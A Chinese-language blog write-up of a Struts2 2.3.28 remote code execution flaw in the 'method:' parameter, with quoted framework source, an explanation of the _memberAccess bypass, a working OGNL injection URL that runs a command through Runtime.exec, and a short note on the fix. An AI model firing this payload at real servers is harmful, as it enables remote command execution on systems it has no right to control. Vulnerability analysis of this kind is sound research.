前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建
2.3.28 版本的 struts2 + Tomcat 9。
修改 struts.xml,打开动态方法调用:
<constant name="struts.enable.DynamicMethodInvocation" value="true" />
漏洞分析
根据官方通告,可以看出漏洞原因是在动态方法调用开启的情况下,会将 method: 前缀的参数作为表达式来执行,我们先看看 method: 前缀参数的 put 方法:
put(METHOD_PREFIX, new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
if (allowDynamicMethodCalls) {
mapping.setMethod(key.substring(METHOD_PREFIX.length()));
}
}
});
在 DynamicMethodInvocation 开启的情况下,会不经过滤将 method: 前缀参数放入 mapping 中。在 Dispatcher 类的 serviceAction 函数用其创建代理之后,会执行到 DefaultActionInvocation 类的 invokeAction 函数中:
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
String methodName = proxy.getMethod();
if (LOG.isDebugEnabled()) {
LOG.debug("Executing action method = #0", methodName);
}
String timerKey = "invokeAction: " + proxy.getActionName();
try {
UtilTimerStack.push(timerKey);
Object methodResult;
try {
methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);
}
...
}
...
}
将参数值作为表达式解析。
漏洞利用
因为 2.3.20 版本的修复中禁止了 new 和反射,所以通过修改用于安全检测的 _memberAccess 属性,将之变为实现了 memberAccess 接口的另一个类 DefaultMemberAccess,它的 isAccessible 函数如下:
public boolean isAccessible(Map context, Object target, Member member, String propertyName)
{
int modifiers = member.getModifiers();
boolean result = Modifier.isPublic(modifiers);
if (!result) {
if (Modifier.isPrivate(modifiers)) {
result = getAllowPrivateAccess();
} else {
if (Modifier.isProtected(modifiers)) {
result = getAllowProtectedAccess();
} else {
result = getAllowPackageProtectedAccess();
}
}
}
return result;
}
可以看到,对 public 函数调用没有任何限制,而 OgnlContext 中恰好有这么一个静态属性:
public static final MemberAccess DEFAULT_MEMBER_ACCESS = new DefaultMemberAccess(false);
payload 如下:
http://localhost:8080/login.action?method:(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.c%5b0%5d)).toString&c=calc
漏洞修复
给 method: 前缀的参数值加上了前面 actionName 的过滤。
参考文章: